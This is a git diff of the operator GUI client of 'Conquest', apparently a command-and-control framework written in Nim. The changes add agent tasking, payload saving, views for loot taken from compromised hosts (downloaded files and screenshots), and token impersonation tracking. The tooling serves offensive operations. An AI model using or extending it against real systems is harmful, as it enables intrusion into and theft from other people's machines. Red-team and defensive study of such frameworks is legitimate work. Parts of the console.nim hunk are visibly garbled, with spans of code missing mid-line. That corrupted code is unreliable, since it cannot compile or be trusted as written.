cast[DWORD](MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT)), msg, cast[DWORD](msg.len()), NULL) + msg.nullTerminate() + return strip($msg) & fmt" ({$errorCode})" + +# Convert NTSTATUS to readable value +# https://ntdoc.m417z.com/rtlntstatustodoserror +proc getNtError*(status: NTSTATUS): string = + let pRtlNtStatusToDosError = cast[RtlNtStatusToDosError](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("RtlNtStatusToDosError"))) + let errorCode = pRtlNtStatusToDosError(status) + return getError(errorCode) diff --git a/src/client/config.nims b/src/client/config.nims index 771dc32..ea74832 100644 --- a/src/client/config.nims +++ b/src/client/config.nims @@ -3,6 +3,7 @@ switch "o", "bin/client" switch "d", "ssl" switch "d", "client" switch "d", "ImGuiTextSelect" +switch "d", "ImPlotEnable" # Select compiler var TC = "gcc" @@ -14,7 +15,7 @@ switch "app", "gui" # Select static link or shared/dll link when defined(windows): const STATIC_LINK_GLFW = false - const STATIC_LINK_CC = true #libstd++ or libc + const STATIC_LINK_CC = false #libstd++ or libc if TC == "vcc": switch "passL","d3d9.lib kernel32.lib user32.lib gdi32.lib winspool.lib" switch "passL","comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib" @@ -28,6 +29,18 @@ else: # for Linux when STATIC_LINK_GLFW: # GLFW static link switch "define","glfwStaticLib" + when defined(windows): + discard # Windows-specific handling if needed + else: # Linux + switch "passL","-lglfw" + switch "passL","-lX11" + switch "passL","-lXrandr" + switch "passL","-lXinerama" + switch "passL","-lXcursor" + switch "passL","-lXi" + switch "passL","-lpthread" + switch "passL","-ldl" + switch "passL","-lm" else: # shared/dll when defined(windows): if TC == "vcc": @@ -38,6 +51,8 @@ else: # shared/dll #switch "define","cimguiDLL" else: switch "passL","-lglfw" + # Add X11 libs for shared linking too + switch "passL","-lX11" when STATIC_LINK_CC: # gcc static link case TC @@ -74,4 +89,5 @@ case TC of "clang": switch "cc.exe","clang" switch "cc.linkerexe","clang" - switch "cc",TC \ No newline at end of file + switch "cc",TC + diff --git a/src/client/task.nim b/src/client/core/task.nim similarity index 97% rename from src/client/task.nim rename to src/client/core/task.nim index f561ab2..36451e2 100644 --- a/src/client/task.nim +++ b/src/client/core/task.nim @@ -1,6 +1,6 @@ import std/paths -import strutils, sequtils, times, tables -import ../common/[types, sequence, crypto, utils, serialize] +import strutils, sequtils, times +import ../../common/[types, sequence, crypto, utils, serialize] proc parseInput*(input: string): seq[string] = var i = 0 diff --git a/src/client/websocket.nim b/src/client/core/websocket.nim similarity index 58% rename from src/client/websocket.nim rename to src/client/core/websocket.nim index 2051912..21336ef 100644 --- a/src/client/websocket.nim +++ b/src/client/core/websocket.nim @@ -1,6 +1,5 @@ -import whisky -import times, tables, json, base64 -import ../common/[types, utils, serialize, event] +import times, json, base64 +import ../../common/[types, utils, event] export sendHeartbeat, recvEvent #[ @@ -38,23 +37,49 @@ proc sendAgentBuild*(connection: WsConnection, buildInformation: AgentBuildInfor let event = Event( eventType: CLIENT_AGENT_BUILD, timestamp: now().toTime().toUnix(), - data: %*{ - "listenerId": buildInformation.listenerId, - "sleepDelay": buildInformation.sleepDelay, - "sleepTechnique": cast[uint8](buildInformation.sleepTechnique), - "spoofStack": buildInformation.spoofStack, - "modules": buildInformation.modules - } + data: %buildInformation ) connection.ws.sendEvent(event, connection.sessionKey) -proc sendAgentTask*(connection: WsConnection, agentId: string, task: Task) = +proc sendAgentTask*(connection: WsConnection, agentId: string, command: string, task: Task) = let event = Event( eventType: CLIENT_AGENT_TASK, timestamp: now().toTime().toUnix(), data: %*{ "agentId": agentId, + "command": command, "task": task } ) connection.ws.sendEvent(event, connection.sessionKey) + +proc sendAgentRemove*(connection: WsConnection, agentId: string) = + let event = Event( + eventType: CLIENT_AGENT_REMOVE, + timestamp: now().toTime().toUnix(), + data: %*{ + "agentId": agentId + } + ) + connection.ws.sendEvent(event, connection.sessionKey) + +proc sendRemoveLoot*(connection: WsConnection, lootId: string) = + let event = Event( + eventType: CLIENT_LOOT_REMOVE, + timestamp: now().toTime().toUnix(), + data: %*{ + "lootId": lootId + } + ) + connection.ws.sendEvent(event, connection.sessionKey) + +proc sendGetLoot*(connection: WsConnection, lootId: string) = + let event = Event( + eventType: CLIENT_LOOT_GET, + timestamp: now().toTime().toUnix(), + data: %*{ + "lootId": lootId + } + ) + connection.ws.sendEvent(event, connection.sessionKey) + diff --git a/src/client/main.nim b/src/client/main.nim index 90a6685..76cd4f8 100644 --- a/src/client/main.nim +++ b/src/client/main.nim @@ -1,17 +1,19 @@ import whisky -import tables, strutils, strformat, json, parsetoml, base64, os # native_dialogs +import tables, times, strutils, strformat, json, parsetoml, base64, native_dialogs import ./utils/[appImGui, globals] import ./views/[dockspace, sessions, listeners, eventlog, console] +import ./views/loot/[screenshots, downloads] import ./views/modals/generatePayload import ../common/[types, utils, crypto] -import ./websocket - -import sugar +import ./core/websocket proc main(ip: string = "localhost", port: int = 37573) = var app = createApp(1024, 800, imnodes = true, title = "Conquest", docking = true) defer: app.destroyApp() + var imPlotContext = ImPlot_CreateContext() + defer: imPlotContext.ImPlotDestroyContext() + var profile: Profile views: Table[string, ptr bool] @@ -19,6 +21,8 @@ proc main(ip: string = "localhost", port: int = 37573) = showSessionsTable = true showListeners = true showEventlog = true + showDownloads = false + showScreenshots = false consoles: Table[string, ConsoleComponent] var @@ -30,18 +34,22 @@ proc main(ip: string = "localhost", port: int = 37573) = views["Sessions [Table View]"] = addr showSessionsTable views["Listeners"] = addr showListeners views["Eventlog"] = addr showEventlog + views["Loot:Downloads"] = addr showDownloads + views["Loot:Screenshots"] = addr showScreenshots # Create components var dockspace = Dockspace() - sessionsTable = SessionsTable("Sessions [Table View]", addr consoles) - listenersTable = ListenersTable("Listeners") - eventlog = Eventlog("Eventlog") + sessionsTable = SessionsTable(WIDGET_SESSIONS, addr consoles) + listenersTable = ListenersTable(WIDGET_LISTENERS) + eventlog = Eventlog(WIDGET_EVENTLOG) + lootDownloads = LootDownloads(WIDGET_DOWNLOADS) + lootScreenshots = LootScreenshots(WIDGET_SCREENSHOTS) let io = igGetIO() # Create key pair - let clientKeyPair = generateKeyPair() + var clientKeyPair = generateKeyPair() # Initiate WebSocket connection var connection = WsConnection( @@ -69,103 +77,138 @@ proc main(ip: string = "localhost", port: int = 37573) = connection.ws.sendHeartbeat() # Receive and parse websocket response message - let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey) - case event.eventType: - of CLIENT_KEY_EXCHANGE: - connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey()) - connection.sendPublicKey(clientKeyPair.publicKey) + try: + let event = recvEvent(connection.ws.receiveMessage().get(), connection.sessionKey) + case event.eventType: + of CLIENT_KEY_EXCHANGE: + connection.sessionKey = deriveSessionKey(clientKeyPair, decode(event.data["publicKey"].getStr()).toKey()) + connection.sendPublicKey(clientKeyPair.publicKey) + wipeKey(clientKeyPair.privateKey) - of CLIENT_PROFILE: - profile = parsetoml.parseString(event.data["profile"].getStr()) - - of CLIENT_LISTENER_ADD: - let listener = event.data.to(UIListener) - listenersTable.listeners.add(listener) - - of CLIENT_AGENT_ADD: - let agent = event.data.to(UIAgent) - - # The ImGui Multi Select only works well with seq's, so we maintain a - # separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access - sessionsTable.agents.add(agent) - sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin - - # Initialize position of console windows to bottom by drawing them once when they are added - # By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom), - # so if you place your listeners somewhere else, the console windows show up somewhere else too - # The only case that is not covered is when the listeners table is hidden and the bottom panel was split - var agentConsole = Console(agent) - consoles[agent.agentId] = agentConsole - let listenersWindow = igFindWindowByName("Listeners") - if listenersWindow != nil and listenersWindow.DockNode != nil: - igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32) - else: - igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32) - consoles[agent.agentId].draw(connection) - consoles[agent.agentId].showConsole = false - - of CLIENT_AGENT_CHECKIN: - sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp - - of CLIENT_AGENT_PAYLOAD: - let payload = decode(event.data["payload"].getStr()) - try: - let outFilePath = fmt"{CONQUEST_ROOT}/bin/monarch.x64.exe" - - # TODO: Using native file dialogs to have the client select the output file path (does not work in WSL) - # let outFilePath = callDialogFileSave("Save Payload") - - writeFile(outFilePath, payload) - except IOError: - discard - - # Close and reset the payload generation modal window when the payload was received - listenersTable.generatePayloadModal.resetModalValues() - igClosePopupToLevel(0, false) - - of CLIENT_CONSOLE_ITEM: - let agentId = event.data["agentId"].getStr() - consoles[agentId].addItem( - cast[LogType](event.data["logType"].getInt()), - event.data["message"].getStr(), - event.timestamp - ) - - of CLIENT_EVENTLOG_ITEM: - eventlog.addItem( - cast[LogType](event.data["logType"].getInt()), - event.data["message"].getStr(), - event.timestamp - ) - - of CLIENT_BUILDLOG_ITEM: - listenersTable.generatePayloadModal.addBuildlogItem( - cast[LogType](event.data["logType"].getInt()), - event.data["message"].getStr(), - event.timestamp - ) - - else: discard - - # Draw/update UI components/views - if showSessionsTable: sessionsTable.draw(addr showSessionsTable) - if showListeners: listenersTable.draw(addr showListeners, connection) - if showEventlog: eventlog.draw(addr showEventlog) - - # Show console windows - var newConsoleTable: Table[string, ConsoleComponent] - for agentId, console in consoles.mpairs(): - if console.showConsole: - # Ensure that new console windows are docked to the bottom panel by default - igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32) - console.draw(connection) - newConsoleTable[agentId] = console + of CLIENT_PROFILE: + profile = parsetoml.parseString(event.data["profile"].getStr()) - # Update the consoles table with only those sessions that have not been closed yet - # This is done to ensure that closed console windows can be opened again - consoles = newConsoleTable + of CLIENT_LISTENER_ADD: + let listener = event.data.to(UIListener) + listenersTable.listeners.add(listener) - # igShowDemoWindow(nil) + of CLIENT_AGENT_ADD: + let agent = event.data.to(UIAgent) + + # The ImGui Multi Select only works well with seq's, so we maintain a + # separate table of the latest agent heartbeats to have the benefit of quick and direct O(1) access + sessionsTable.agents.add(agent) + sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin + + if not agent.impersonationToken.isEmptyOrWhitespace(): + sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken + + # Initialize position of console windows to bottom by drawing them once when they are added + # By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom), + # so if you place your listeners somewhere else, the console windows show up somewhere else too + # The only case that is not covered is when the listeners table is hidden and the bottom panel was split + var agentConsole = Console(agent) + consoles[agent.agentId] = agentConsole + let listenersWindow = igFindWindowByName(WIDGET_LISTENERS) + if listenersWindow != nil and listenersWindow.DockNode != nil: + igSetNextWindowDockID(listenersWindow.DockNode.ID, ImGuiCond_FirstUseEver.int32) + else: + igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32) + consoles[agent.agentId].draw(connection) + consoles[agent.agentId].showConsole = false + + of CLIENT_AGENT_CHECKIN: + sessionsTable.agentActivity[event.data["agentId"].getStr()] = event.timestamp + + of CLIENT_AGENT_PAYLOAD: + let payload = decode(event.data["payload"].getStr()) + try: + let path = callDialogFileSave("Save Payload") + writeFile(path, payload) + except IOError: + discard + + # Close and reset the payload generation modal window when the payload was received + listenersTable.generatePayloadModal.resetModalValues() + igClosePopupToLevel(0, false) + + of CLIENT_CONSOLE_ITEM: + let agentId = event.data["agentId"].getStr() + consoles[agentId].console.addItem( + cast[LogType](event.data["logType"].getInt()), + event.data["message"].getStr(), + event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + ) + + of CLIENT_EVENTLOG_ITEM: + eventlog.textarea.addItem( + cast[LogType](event.data["logType"].getInt()), + event.data["message"].getStr(), + event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + ) + + of CLIENT_BUILDLOG_ITEM: + listenersTable.generatePayloadModal.buildLog.addItem( + cast[LogType](event.data["logType"].getInt()), + event.data["message"].getStr(), + event.timestamp.fromUnix().local().format("dd-MM-yyyy HH:mm:ss") + ) + + of CLIENT_LOOT_ADD: + let lootItem = event.data.to(LootItem) + case lootItem.itemType: + of DOWNLOAD: + lootDownloads.items.add(lootItem) + of SCREENSHOT: + lootScreenshots.items.add(lootItem) + else: discard + + of CLIENT_LOOT_DATA: + let + lootItem = event.data["loot"].to(LootItem) + data = decode(event.data["data"].getStr()) + + case lootItem.itemType: + of DOWNLOAD: + lootDownloads.contents[lootItem.lootId] = data + of SCREENSHOT: + lootScreenshots.addTexture(lootItem.lootId, data) + else: discard + + of CLIENT_IMPERSONATE_TOKEN: + let + agentId = event.data["agentId"].getStr() + impersonationToken = event.data["username"].getStr() + sessionsTable.agentImpersonation[agentId] = impersonationToken + + of CLIENT_REVERT_TOKEN: + sessionsTable.agentImpersonation.del(event.data["agentId"].getStr()) + + else: discard + + # Draw/update UI components/views + if showSessionsTable: sessionsTable.draw(addr showSessionsTable, connection) + if showListeners: listenersTable.draw(addr showListeners, connection) + if showEventlog: eventlog.draw(addr showEventlog) + if showDownloads: lootDownloads.draw(addr showDownloads, connection) + if showScreenshots: lootScreenshots.draw(addr showScreenshots, connection) + + # Show console windows + var newConsoleTable: Table[string, ConsoleComponent] + for agentId, console in consoles.mpairs(): + if console.showConsole: + # Ensure that new console windows are docked to the bottom panel by default + igSetNextWindowDockID(dockBottom, ImGuiCond_FirstUseEver.int32) + console.draw(connection) + newConsoleTable[agentId] = console + + # Update the consoles table with only those sessions that have not been closed yet + # This is done to ensure that closed console windows can be opened again + consoles = newConsoleTable + + except CatchableError as err: + echo "[-] ", err.msg + discard # render app.render() @@ -173,5 +216,6 @@ proc main(ip: string = "localhost", port: int = 37573) = if not showConquest: app.handle.setWindowShouldClose(true) + when isMainModule: import cligen; dispatch main diff --git a/src/client/utils/appImGui.nim b/src/client/utils/appImGui.nim index eccbc12..dff19b0 100644 --- a/src/client/utils/appImGui.nim +++ b/src/client/utils/appImGui.nim @@ -6,8 +6,8 @@ import imguin/[cimgui, glfw_opengl, simple] export cimgui, glfw_opengl, simple import ./globals -import ./opengl/[zoomglass, loadImage] -export zoomglass, loadImage +import ./opengl/loadImage +export loadImage import ./[saveImage, setupFonts, utils, vecs] export saveImage, setupFonts, utils, vecs diff --git a/src/client/utils/colors.nim b/src/client/utils/colors.nim index 174eb83..c4642eb 100644 --- a/src/client/utils/colors.nim +++ b/src/client/utils/colors.nim @@ -1,4 +1,4 @@ -import imguin/[cimgui, glfw_opengl, simple] +import imguin/cimgui import ../utils/appImGui # https://rgbcolorpicker.com/0-1 diff --git a/src/client/utils/globals.nim b/src/client/utils/globals.nim index 3c466b7..5d040d2 100644 --- a/src/client/utils/globals.nim +++ b/src/client/utils/globals.nim @@ -1 +1,9 @@ -const CONQUEST_ROOT* {.strdefine.} = "" \ No newline at end of file +import ../utils/fonticon/IconsFontAwesome6 + +const CONQUEST_ROOT* {.strdefine.} = "" + +const WIDGET_SESSIONS* = " " & ICON_FA_LIST & " " & "Sessions [Table View]" +const WIDGET_LISTENERS* = " " & ICON_FA_SATELLITE_DISH & " " & "Listeners" +const WIDGET_EVENTLOG* = " " & ICON_FA_CLIPBOARD_LIST & " " & "Eventlog" +const WIDGET_DOWNLOADS* = " " & ICON_FA_DOWNLOAD & " " & "Downloads" +const WIDGET_SCREENSHOTS* = " " & ICON_FA_IMAGE & " " & "Screenshots" diff --git a/src/client/utils/opengl/loadImage.nim b/src/client/utils/opengl/loadImage.nim index a9eb715..6a49404 100644 --- a/src/client/utils/opengl/loadImage.nim +++ b/src/client/utils/opengl/loadImage.nim @@ -147,3 +147,52 @@ when not defined(SDL): else: echo "Not found: ",iconName glfw.setWindowIcon(window, 0, nil) + +# Load a texture from a byte sequence, as this is the data type that is received by the team server +proc loadTextureFromBytes*(imageBytes: seq[byte], textureID: var uint32): tuple[width: int, height: int] = + var width, height, channels: int + + var imageLen = imageBytes.len() + + # Decode image from memory + let imageData = stbi.load_from_memory( + imageBytes, + width, + height, + channels, + stbi.RGBA + ) + + if imageData == @[]: + raise newException(IOError, "Failed to decode image from bytes") + + # Create texture if needed + if textureID == 0: + glGenTextures(1, addr textureID) + + glBindTexture(GL_TEXTURE_2D, textureID) + + # Setup filtering parameters + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR.GLint) + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR.GLint) + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE.GLint) + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE.GLint) + + glPixelStorei(GL_UNPACK_ROW_LENGTH, 0) + + # Upload texture + glTexImage2D(GL_TEXTURE_2D, + 0, + GL_RGBA.GLint, + width.GLSizei, + height.GLSizei, + 0, + GL_RGBA, + GL_UNSIGNED_BYTE, + addr imageData[0]) + + let err = glGetError().int + if err != 0: + raise newException(IOError, fmt"OpenGL Error [0x{err:X}]: glTexImage2D()") + + result = (width: width, height: height) diff --git a/src/client/utils/opengl/zoomglass.nim b/src/client/utils/opengl/zoomglass.nim deleted file mode 100644 index 39026c8..0000000 --- a/src/client/utils/opengl/zoomglass.nim +++ /dev/null @@ -1,41 +0,0 @@ -import imguin/[cimgui,simple] -import loadImage -import ../fonticon/IconsFontAwesome6 - -#-------------- -#--- zoomGlass -#-------------- -proc zoomGlass*(textureID: var uint32, itemWidth:int, itemPosTop, itemPosEnd:ImVec2 , capture = false) = - # itemPosTop and itemPosEnd are absolute position in main window. - if igBeginItemTooltip(): - defer: igEndTooltip() - let itemHeight = itemPosEnd.y.int - itemPosTop.y.int - let my_tex_w = itemWidth.float - let my_tex_h = itemHeight.float - let wkSize = igGetMainViewport().Worksize - if capture: - loadTextureFromBuffer(textureID # TextureID - , itemPosTop.x.int # x start pos - , wkSize.y.int - itemPosEnd.y.int # y start pos - , itemWidth ,itemHeight) # Image width and height must be 2^n. - #igText("lbp: (%.2f, %.2f)", pio.MousePos.x, pio.MousePos.y) - let pio = igGetIO() - let region_sz = 32.0f - var region_x = pio.MousePos.x - itemPosTop.x - region_sz * 0.5f - var region_y = pio.MousePos.y - itemPosTop.y - region_sz * 0.5f - let zoom = 4.0f - if region_x < 0.0f: - region_x = 0.0f - elif region_x > (my_tex_w - region_sz): - region_x = my_tex_w - region_sz - if region_y < 0.0f: - region_y = 0.0f - elif region_y > my_tex_h - region_sz: - region_y = my_tex_h - region_sz - let uv0 = ImVec2(x: (region_x) / my_tex_w, y: (region_y) / my_tex_h) - let uv1 = ImVec2(x: (region_x + region_sz) / my_tex_w, y: (region_y + region_sz) / my_tex_h) - let tint_col = ImVec4(x: 1.0f, y: 1.0f, z: 1.0f, w: 1.0f) #// No tint - let border_col = ImVec4(x: 0.22f, y: 0.56f, z: 0.22f, w: 1.0f) # Green - igText(ICON_FA_MAGNIFYING_GLASS & " 4 x") - let texRef = ImTextureRef(internal_TexData: nil, internal_TexID: textureID) - igImage(texRef, ImVec2(x: region_sz * zoom, y: region_sz * zoom), uv0, uv1) #, tint_col, border_col) diff --git a/src/client/utils/setupFonts.nim b/src/client/utils/setupFonts.nim index 3ac76c5..7cd6808 100644 --- a/src/client/utils/setupFonts.nim +++ b/src/client/utils/setupFonts.nim @@ -25,13 +25,13 @@ when defined(windows): ("segoeui.ttf", "Seoge UI", 14.4), ] ) -else: # For Debian/Ubuntu/Mint +else: # Linux const fontInfo = TFontInfo( osRootDir: "/", fontDir: "usr/share/fonts", fontTable: @[ - ("truetype/noto/NotoSansMono-Regular.ttf", "Noto Sans Mono", 20.0) + ("truetype/noto/NotoSansMono-Regular.ttf", "Noto Sans Mono", 14.4) ] ) diff --git a/src/client/views/console.nim b/src/client/views/console.nim index 5f9b395..8dca3df 100644 --- a/src/client/views/console.nim +++ b/src/client/views/console.nim @@ -1,60 +1,33 @@ -import whisky -import strformat, strutils, times, json, tables, sequtils +import strformat, strutils, sequtils import imguin/[cimgui, glfw_opengl, simple] import ../utils/[appImGui, colors] import ../../common/[types, utils] import ../../modules/manager -import ../[task, websocket] +import ../core/[task, websocket] +import ./widgets/textarea +export addItem -const MAX_INPUT_LENGTH = 512 +const MAX_INPUT_LENGTH = 4096 # Input needs to allow enough characters for long commands (e.g. Rubeus tickets) type ConsoleComponent* = ref object of RootObj agent*: UIAgent showConsole*: bool inputBuffer: array[MAX_INPUT_LENGTH, char] - console*: ConsoleItems + console*: TextareaWidget history: seq[string] historyPosition: int currentInput: string - textSelect: ptr TextSelect filter: ptr ImGuiTextFilter -#[ - Helper functions for text selection -]# -proc getText(item: ConsoleItem): cstring = - if item.timestamp > 0: - let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss") - return fmt"[{timestamp}]{$item.itemType}{item.text}".string - else: - return fmt"{$item.itemType}{item.text}".string - -proc getNumLines(data: pointer): csize_t {.cdecl.} = - if data.isNil: - return 0 - let console = cast[ConsoleItems](data) - return console.items.len().csize_t - -proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} = - if data.isNil: - return nil - let console = cast[ConsoleItems](data) - let line = console.items[i].getText() - if not outLen.isNil: - outLen[] = line.len.csize_t - return line - proc Console*(agent: UIAgent): ConsoleComponent = result = new ConsoleComponent result.agent = agent result.showConsole = true zeroMem(addr result.inputBuffer[0], MAX_INPUT_LENGTH) - result.console = new ConsoleItems - result.console.items = @[] + result.console = Textarea() result.history = @[] result.historyPosition = -1 result.currentInput = "" - result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.console), 0) result.filter = ImGuiTextFilter_ImGuiTextFilter("") #[ @@ -108,116 +81,129 @@ proc callback(data: ptr ImGuiInputTextCallbackData): cint {.cdecl.} = return 0 of ImGui_InputTextFlags_CallbackCompletion.int32: - # Handle Tab-autocompletion - discard + # Handle Tab-autocompletion for agent commands + let commands = getCommands(component.agent.modules).mapIt(it.name & " ") & @["help "] + + # Get the word to complete + let inputEndPos = data.CursorPos + var inputStartPos = inputEndPos + + while inputStartPos > 0: + let c = cast[ptr UncheckedArray[char]](data.Buf)[inputStartPos - 1] + if c in [' ', '\t', ',', ';']: + break + dec inputStartPos + + let inputLen = inputEndPos - inputStartPos + var currentWord = newString(inputLen) + for i in 0.. complete common prefix + else: + var prefixLen = inputLen + + while prefixLen < matches[0].len(): + let c = matches[0][prefixLen] + var allMatch = true + + for i in 1 ..< matches.len(): + if prefixLen >= matches[i].len() or matches[i][prefixLen] != c: + allMatch = false + break + + if not allMatch: + break + + inc prefixLen + + if prefixLen > inputLen: + data.ImGuiInputTextCallbackData_DeleteChars(inputStartPos.cint, inputLen.cint) + data.ImGuiInputTextCallbackData_InsertChars(data.CursorPos, matches[0][0.." else: fmt"[{it.name}]" + if it.isRequired: "<" & it.name & ">" else: "[" & it.name & "]" ).join(" ") - - if command.example != "": - usage &= "\nExample : " & command.example - - component.addItem(LOG_OUTPUT, fmt""" -{command.description} - -Usage : {usage} -""") + + component.console.addItem(LOG_OUTPUT, command.description) + component.console.addItem(LOG_OUTPUT, "Usage : " & usage) + component.console.addItem(LOG_OUTPUT, "Example : " & command.example) + component.console.addItem(LOG_OUTPUT, "") if command.arguments.len > 0: - component.addItem(LOG_OUTPUT, "Arguments:\n") - - let header = @["Name", "Type", "Required", "Description"] - component.addItem(LOG_OUTPUT, fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}") - component.addItem(LOG_OUTPUT, fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}") + component.console.addItem(LOG_OUTPUT, "Arguments:") - for arg in command.arguments: + let header = @["Name", "Type", "Required", "Description"] + component.console.addItem(LOG_OUTPUT, " " & header[0].alignLeft(15) & " " & header[1].alignLeft(6) & " " & header[2].alignLeft(8) & " " & header[3]) + component.console.addItem(LOG_OUTPUT, " " & '-'.repeat(15) & " " & '-'.repeat(6) & " " & '-'.repeat(8) & " " & '-'.repeat(20)) + + for arg in command.arguments: let isRequired = if arg.isRequired: "YES" else: "NO" - component.addItem(LOG_OUTPUT, fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}") - component.addItem(LOG_OUTPUT, "") + component.console.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description) -proc handleHelp(component: ConsoleComponent, parsed: seq[string]) = - try: +proc handleHelp(component: ConsoleComponent, parsed: seq[string]) = + try: # Try parsing the first argument passed to 'help' as a command component.displayCommandHelp(getCommandByName(parsed[1])) except IndexDefect: # 'help' command is called without additional parameters component.displayHelp() - except ValueError: + except ValueError: # Command was not found - component.addItem(LOG_ERROR, fmt"The command '{parsed[1]}' does not exist.") + component.console.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.") -proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) = + # Add newline at the end of help text + component.console.addItem(LOG_OUTPUT, "") + +proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) = + # Add command to console + component.console.addItem(LOG_COMMAND, input) # Convert user input into sequence of string arguments let parsedArgs = parseInput(input) - # Handle 'help' command - if parsedArgs[0] == "help": + # Handle 'help' command + if parsedArgs[0] == "help": component.handleHelp(parsedArgs) return # Handle commands with actions on the agent - try: + try: let command = getCommandByName(parsedArgs[0]) task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1]) - connection.sendAgentTask(component.agent.agentId, task) - component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})") + connection.sendAgentTask(component.agent.agentId, input, task) + component.console.addItem(LOG_INFO, "Tasked agent to " & command.description.toLowerAscii() & " (" & Uuid.toString(task.taskId) & ")") - except CatchableError: - component.addItem(LOG_ERROR, getCurrentExceptionMsg()) - -#[ - Drawing -]# -proc print(item: ConsoleItem) = - - if item.timestamp > 0: - let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss") - igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring) - igSameLine(0.0f, 0.0f) - - case item.itemType: - of LOG_INFO, LOG_INFO_SHORT: - igTextColored(CONSOLE_INFO, $item.itemType) - of LOG_ERROR, LOG_ERROR_SHORT: - igTextColored(CONSOLE_ERROR, $item.itemType) - of LOG_SUCCESS, LOG_SUCCESS_SHORT: - igTextColored(CONSOLE_SUCCESS, $item.itemType) - of LOG_WARNING, LOG_WARNING_SHORT: - igTextColored(CONSOLE_WARNING, $item.itemType) - of LOG_COMMAND: - igTextColored(CONSOLE_COMMAND, $item.itemType) - of LOG_OUTPUT: - igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType) - - igSameLine(0.0f, 0.0f) - igTextUnformatted(item.text.cstring, nil) + except CatchableError: + component.console.addItem(LOG_ERROR, getCurrentExceptionMsg()) proc draw*(component: ConsoleComponent, connection: WsConnection) = igBegin(fmt"[{component.agent.agentId}] {component.agent.username}@{component.agent.hostname}".cstring, addr component.showConsole, 0) @@ -237,9 +223,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) = Problems I encountered with other approaches (Multi-line Text Input, TextEditor, ...): - https://github.com/ocornut/imgui/issues/383#issuecomment-2080346129 - - https://github.com/ocornut/imgui/issues/950 - - Huge thanks to @dinau for implementing ImGuiTextSelect into imguin very rapidly after I requested it. + - https://github.com/ocornut/imgui/issues/950 ]# let consolePadding: float = 10.0f let footerHeight = (consolePadding * 2) + (igGetStyle().ItemSpacing.y + igGetFrameHeightWithSpacing()) * 0.75f @@ -283,40 +267,10 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) = igSameLine(0.0f, textSpacing) component.filter.ImGuiTextFilter_Draw("##ConsoleSearch", searchBoxWidth) - try: - # Set styles of the console window - igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f)) - igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f)) - igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f)) - igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f) - - let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32 - if igBeginChild_Str("##Console", vec2(-1.0f, -footerHeight), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32): - - # Display console items - for item in component.console.items: - - # Apply filter - if component.filter.ImGuiTextFilter_IsActive(): - if not component.filter.ImGuiTextFilter_PassFilter(item.getText(), nil): - continue - - item.print() - - component.textSelect.textselect_update() - - # Auto-scroll to bottom - if igGetScrollY() >= igGetScrollMaxY(): - igSetScrollHereY(1.0f) - - except IndexDefect: - # CTRL+A crashes when no items are in the console - discard - - finally: - igPopStyleColor(3) - igPopStyleVar(1) - igEndChild() + #[ + Console textarea + ]# + component.console.draw(vec2(-1.0f, -footerHeight), component.filter) # Padding igDummy(vec2(0.0f, consolePadding)) @@ -324,7 +278,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) = #[ Input field with prompt indicator ]# - igText(fmt"[{component.agent.agentId}]") + igText(fmt"[{component.agent.agentId}]".cstring) igSameLine(0.0f, textSpacing) # Calculate available width for 